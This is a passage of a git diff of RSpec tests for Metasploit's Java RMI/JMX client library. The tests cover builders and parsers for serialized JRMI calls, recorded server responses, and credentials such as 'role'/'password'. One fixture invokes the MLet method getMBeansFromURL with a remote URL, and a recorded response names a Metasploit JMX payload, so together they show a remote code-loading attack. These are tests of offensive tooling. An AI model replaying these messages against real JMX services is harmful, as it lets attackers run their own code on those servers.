'172.16.158.131', - :id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01", - :port => 3057 - } - end - - - describe "#extract_string" do - context "when io contains a valid string" do - it "returns the string" do - expect(mod.extract_string(string_io)).to eq('ABCD') - end - end - - context "when io doesn't contain a valid string" do - it "returns nil" do - expect(mod.extract_string(empty_io)).to be_nil - end - end - end - - describe "#extract_int" do - context "when io contains a valid int" do - it "returns the string" do - expect(mod.extract_int(int_io)).to eq(4) - end - end - - context "when io doesn't contain a valid int" do - it "returns nil" do - expect(mod.extract_int(empty_io)).to be_nil - end - end - end - - describe "#extract_object" do - context "when empty stream" do - it "returns nil" do - empty_stream = Rex::Java::Serialization::Model::Stream.new - expect(mod.extract_object(empty_stream, 1)). to be_nil - end - end - - context "when valid stream" do - context "when id stores an object" do - it "returns the object's class name" do - expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName') - end - end - - context "when id doesn't store an object" do - it "returns nil" do - expect(mod.extract_object(stream, 0)). to be_nil - end - end - end - end - - describe "#extract_unicast_ref" do - context "when empty io" do - it "returns nil" do - expect(mod.extract_unicast_ref(empty_io)). to be_nil - end - end - - context "when valid io" do - it "returns a hash" do - expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash) - end - - it "returns a hash containing the UnicastRef information" do - expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref) - end - end - end -end - diff --git a/spec/lib/msf/java/rmi/client/streams_spec.rb b/spec/lib/msf/java/rmi/builder_spec.rb similarity index 78% rename from spec/lib/msf/java/rmi/client/streams_spec.rb rename to spec/lib/msf/java/rmi/builder_spec.rb index 0f92c1952b..8e8a47f80e 100644 --- a/spec/lib/msf/java/rmi/client/streams_spec.rb +++ b/spec/lib/msf/java/rmi/builder_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/java/rmi/builder' -describe Msf::Java::Rmi::Client::Streams do +describe Msf::Java::Rmi::Builder do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Java::Rmi::Builder mod.send(:initialize) mod end @@ -22,13 +22,27 @@ describe Msf::Java::Rmi::Client::Streams do end let(:opts_header) { "JRMI\x00\x01\x4d" } - let(:default_call) { "\x50\xac\xed\x00\x05" } + let(:default_call) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x00\x00\x00\x00\x00\x00\x00\x00" + end let(:call_opts) do { - :message_id => Rex::Proto::Rmi::Model::PING_MESSAGE + message_id: Rex::Proto::Rmi::Model::CALL_MESSAGE, + object_number: 2, + uid_number: 0, + uid_time: 0, + uid_count: 0, + operation: 0, + hash: 0xf6b6898d8bf28643 } end - let(:opts_call) { "\x52\xac\xed\x00\x05" } + let(:opts_call) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + end let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" } let(:dgc_ack_opts) do diff --git a/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb b/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb new file mode 100644 index 0000000000..e69563a88c --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb @@ -0,0 +1,216 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Jmx::Connection::Builder do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:mlet_name) do + 'DefaultDomain:type=MLet' + end + + let(:default_get_object_instance) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70" + end + + let(:mlet_get_object_instance) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70" + end + + let(:mbean_name) do + 'javax.management.loading.MLet' + end + + let(:default_create_mbean) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x00\x70\x70" + end + + let(:mlet_create_mbean) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x1d\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6c\x6f\x61" + + "\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x70\x70" + end + + let(:invoke_opts) do + { + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "http://127.0.0.1/mlet" } + } + end + + let(:default_invoke) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20\x73\x72\x00\x1b\x6a\x61\x76" + + "\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62" + + "\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf" + + "\x03\x00\x00\x70\x78\x70\x74\x00\x00\x78\x74\x00\x00\x73\x72\x00" + + "\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x4d\x61\x72\x73\x68\x61" + + "\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74\x7c\xbd\x1e\x97\xed\x63" + + "\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5b\x00\x08\x6c" + + "\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x5b\x00\x08\x6f" + + "\x62\x6a\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x70\x78\x70\x72" + + "\x69\x21\xc6\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x2c\xac\xed\x00\x05" + + "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e" + + "\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02" + + "\x00\x00\x78\x70\x00\x00\x00\x00\x75\x72\x00\x13\x5b\x4c\x6a\x61" + + "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad" + + "\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00" + + "\x00\x70" + end + + let(:invoke_with_data) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x00\x70\x70" + end + + describe "#build_jmx_get_object_instance" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_new_client).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a getObjectInstance call for an empty object name" do + expect(mod.build_jmx_new_client.encode).to eq(default_get_object_instance) + end + end + + context "when opts with class name" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_new_client(name: mlet_name)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a getObjectInstance Call with credentials" do + expect(mod.build_jmx_new_client(name: mlet_name).encode).to eq(mlet_get_object_instance) + end + end + end + + describe "#build_jmx_new_client_args" do + it "return an Array" do + expect(mod.build_jmx_get_object_instance_args(mlet_name)).to be_an(Array) + end + + it "returns an Array with 4 elements" do + expect(mod.build_jmx_get_object_instance_args(mlet_name).length).to eq(4) + end + + it "returns an Array whose second element is an utf string with the object name" do + expect(mod.build_jmx_get_object_instance_args(mlet_name)[1].contents).to eq(mlet_name) + end + end + + describe "#build_jmx_create_mbean" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_create_mbean).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a createMBean call for an empty object name" do + expect(mod.build_jmx_create_mbean.encode).to eq(default_create_mbean) + end + end + + context "when opts with class name" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_create_mbean(name: mbean_name)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a createMBean Call with credentials" do + expect(mod.build_jmx_create_mbean(name: mbean_name).encode).to eq(mlet_create_mbean) + end + end + end + + describe "#build_jmx_create_mbean_args" do + it "return an Array" do + expect(mod.build_jmx_create_mbean_args(mbean_name)).to be_an(Array) + end + + it "returns an Array with 3 elements" do + expect(mod.build_jmx_create_mbean_args(mbean_name).length).to eq(3) + end + + it "returns an Array whose first element is an utf string with the object name" do + expect(mod.build_jmx_create_mbean_args(mbean_name)[0].contents).to eq(mbean_name) + end + end + + + describe "#build_jmx_invoke" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_invoke).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default invoke" do + expect(mod.build_jmx_invoke.encode).to eq(default_invoke) + end + end + + context "when opts with class name" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_create_mbean(invoke_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a invoke call with the opts data" do + expect(mod.build_jmx_create_mbean(invoke_opts).encode).to eq(invoke_with_data) + end + end + end + + describe "#build_jmx_invoke_args" do + it "return an Array" do + expect(mod.build_jmx_invoke_args(invoke_opts)).to be_an(Array) + end + + it "returns an Array with 7 elements" do + expect(mod.build_jmx_invoke_args(invoke_opts).length).to eq(7) + end + + it "returns an Array whose second element is an utf string with the object name" do + expect(mod.build_jmx_invoke_args(invoke_opts)[1].contents).to eq(mlet_name) + end + + it "returns an Array whose third element is an utf string with the method name" do + expect(mod.build_jmx_invoke_args(invoke_opts)[3].contents).to eq('getMBeansFromURL') + end + end + + describe "#build_invoke_arguments_obj_bytes" do + it "return an Rex::Java::Serialization::Model::Stream" do + expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args])).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "returns an stream with one content" do + expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args]).contents.length).to eq(1) + end + + it "returns an stream with NewArray" do + expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args]).contents[0]).to be_a(Rex::Java::Serialization::Model::NewArray) + end + end + + +end + diff --git a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb new file mode 100644 index 0000000000..5ca9952516 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb @@ -0,0 +1,157 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' +require 'stringio' + +describe Msf::Java::Rmi::Client::Jmx::Connection do + + let(:name_get) { 'DefaultDomain:type=MLet' } + + let(:get_object_instance_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + end + + let(:name_create) { 'javax.management.loading.MLet' } + + let(:create_mbean_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + end + + let(:invoke_args) do + { + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => 'http:///http://192.168.0.3:8080/nH8rSZGf5WkYF/mlet' } + } + end + + let(:invoke_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + end + + let(:remote_address) do + '172.16.158.132' + end + + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { StringIO.new('', 'w+b') } + + describe "#send_jmx_get_object_instance" do + context "when the object exists" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(get_object_instance_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns true" do + expect(mod.send_jmx_get_object_instance(sock: io, name: name_get)).to be_truthy + end + end + end + + describe "#send_jmx_create_mbean" do + context "when the object is created successfully" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(create_mbean_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns true" do + expect(mod.send_jmx_create_mbean(sock: io, name: name_create)).to be_truthy + end + end + end + + describe "#send_jmx_invoke" do + context "when the remote method is called successfully" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(invoke_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns true" do + expect(mod.send_jmx_invoke(invoke_args.merge(sock: io))).to be_truthy + end + end + end + +end + diff --git a/spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb new file mode 100644 index 0000000000..42ebde3b17 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb @@ -0,0 +1,83 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Jmx::Server::Builder do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_new_client) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70" + end + + let(:auth_stream) do + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + + "\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + + "\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" + + "\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64" + end + + let(:credentials_new_client) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x75\x72\x00\x13\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b" + + "\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00" + + "\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74\x00\x08\x70\x61\x73\x73" + + "\x77\x6f\x72\x64" + end + + let(:new_client_opts) do + { + username: 'role', + password: 'password' + } + end + + describe "#build_jmx_new_client" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_new_client).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a lookup Call for an empty name" do + expect(mod.build_jmx_new_client.encode).to eq(default_new_client) + end + end + + context "when opts with credentials" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_new_client(new_client_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a newClient Call with credentials" do + expect(mod.build_jmx_new_client(new_client_opts).encode).to eq(credentials_new_client) + end + end + end + + describe "#build_jmx_new_client_args" do + it "return an Array" do + expect(mod.build_jmx_new_client_args('role', 'password')).to be_an(Array) + end + + it "returns an Array with a Rex::Java::Serialization::Model::NewArray" do + expect(mod.build_jmx_new_client_args('role', 'password')[0]).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "builds a correct stream" do + expect(mod.build_jmx_new_client_args('role', 'password')[0].encode).to eq(auth_stream) + end + end +end + diff --git a/spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb new file mode 100644 index 0000000000..a88dfdfc5b --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb @@ -0,0 +1,74 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Jmx::Server::Parser do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:new_client_return) do + raw = "\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c\x48" + + "\x27\x84\x49\x80\xb8\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e\x6d" + + "\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74\x65" + + "\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69" + + "\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00" + + "\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74" + + "\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00" + + "\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65" + + "\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63" + + "\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77" + + "\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31" + + "\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13" + + "\x26\x08\xd9\x72\x63\x38\x4c\x6b\x7c\x82\x73\x92\x35\x00\x00\x01" + + "\x4c\x48\x27\x84\x49\x80\xb7\x01\x78" + io = StringIO.new(raw, 'rb') + rv = Rex::Proto::Rmi::Model::ReturnValue.new + rv.decode(io) + + rv + end + + let(:remote_object) { 'javax.management.remote.rmi.RMIConnectionImpl_Stub' } + let(:remote_interface) do + { + address: '172.16.158.132', + port: 4902, + object_number: 637666592721496956 + } + end + + describe "#parse_jmx_new_client_endpoint" do + it "returns the remote reference information in a Hash" do + expect(mod.parse_jmx_new_client_endpoint(new_client_return)).to be_a(Hash) + end + + it "returns the remote address" do + ref = mod.parse_jmx_new_client_endpoint(new_client_return) + expect(ref[:address]).to eq(remote_interface[:address]) + end + + it "returns the remote port" do + ref = mod.parse_jmx_new_client_endpoint(new_client_return) + expect(ref[:port]).to eq(remote_interface[:port]) + end + + it "returns the remote object number" do + ref = mod.parse_jmx_new_client_endpoint(new_client_return) + expect(ref[:object_number]).to eq(remote_interface[:object_number]) + end + + it "returns the remote object unique identifier" do + ref = mod.parse_jmx_new_client_endpoint(new_client_return) + expect(ref[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + end +end + diff --git a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb new file mode 100644 index 0000000000..596bcd59a3 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/server_spec.rb @@ -0,0 +1,63 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' +require 'stringio' + +describe Msf::Java::Rmi::Client::Jmx::Server do + + let(:new_client_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + end + + let(:remote_address) do + '172.16.158.132' + end + + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { StringIO.new('', 'w+b') } + + describe "#send_new_client" do + context "when there is an RMIServerImpl_Stub interface" do + before(:each) do + allow_any_instance_of(::StringIO).to receive(:put) do |io, data| + io.seek(0) + io.write(new_client_response) + io.seek(0) + end + + allow_any_instance_of(::StringIO).to receive(:get_once) do |io, length, timeout| + io.read + end + end + + it "returns the reference information" do + expect(mod.send_new_client(sock: io)[:address]).to eq(remote_address) + end + end + end + +end + diff --git a/spec/lib/msf/java/rmi/client/registry/builder_spec.rb b/spec/lib/msf/java/rmi/client/registry/builder_spec.rb new file mode 100644 index 0000000000..3dabb37979 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/registry/builder_spec.rb @@ -0,0 +1,72 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe 